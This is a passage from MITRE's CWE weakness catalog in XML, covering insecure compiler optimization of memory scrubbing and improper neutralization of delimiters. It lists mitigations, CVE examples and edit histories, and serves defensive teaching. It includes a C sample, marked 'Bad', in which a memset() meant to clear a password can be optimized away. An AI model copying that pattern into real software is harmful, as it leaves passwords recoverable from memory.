            </Detection_Method>
            <Detection_Method>
               <Method>White Box</Method>
               <Description>This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Store the sensitive data in a "volatile" memory location if available.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Build and Compilation</Phase>
               <Description>If possible, configure your compiler so that it does not remove dead stores.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Where possible, encrypt sensitive data that are used by a software system.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using memset().</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void GetData(char *MFAddr) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char pwd[64];<xhtml:br/>if (GetPasswordFromUser(pwd, sizeof(pwd))) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>if (ConnectToMainframe(MFAddr, pwd)) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>// Interaction with mainframe</xhtml:i>
                                       <xhtml:br/>
                                    </xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>memset(pwd, 0, sizeof(pwd));</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to memset() will be removed as a dead store because the buffer pwd is not used after its value is overwritten [18]. Because the buffer pwd contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.</Body_Text>
               <Body_Text>It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to memset() as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.</Body_Text>
               <Body_Text>Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Insecure Compiler Optimization</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Sensitive memory uncleared by compiler optimization</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A8</Entry_ID>
               <Entry_Name>Insecure Storage</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MSC06-C</Entry_ID>
               <Entry_Name>Be aware of compiler optimization when dealing with sensitive data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 9, &#34;A Compiler Optimization Caveat&#34; Page 322"/>
            <Reference External_Reference_ID="REF-124"/>
            <Reference External_Reference_ID="REF-125"/>
            <Reference External_Reference_ID="REF-126"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Detection_Factors, Other_Notes, Potential_Mitigations, Relationships, Taxonomy_Mappings, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Insecure Compiler Optimization</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="140" Name="Improper Neutralization of Delimiters" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not neutralize or incorrectly neutralizes delimiters.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Developers should anticipate that delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Delimiter Problems</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="15"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Delimiter Problems</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Failure to Sanitize Delimiters</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="141" Name="Improper Neutralization of Parameter/Argument Delimiters" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as parameter or argument delimiters when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="140" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that parameter/argument delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2003-0307</Reference>
               <Description>Attacker inserts field separator into input to specify admin privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0307</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Parameter Delimiter</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Embedded Delimiters&#34;, Page 408"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 10, &#34;IFS&#34;, Page 604"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Parameter Delimiter</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Failure to Sanitize Parameter/Argument Delimiters</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="142" Name="Improper Neutralization of Value Delimiters" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as value delimiters when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="140" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that value delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0293</Reference>
               <Description>Multiple internal space, insufficient quoting - program does not use proper delimiter between values.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0293</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Value Delimiter</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Embedded Delimiters&#34;, Page 408"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
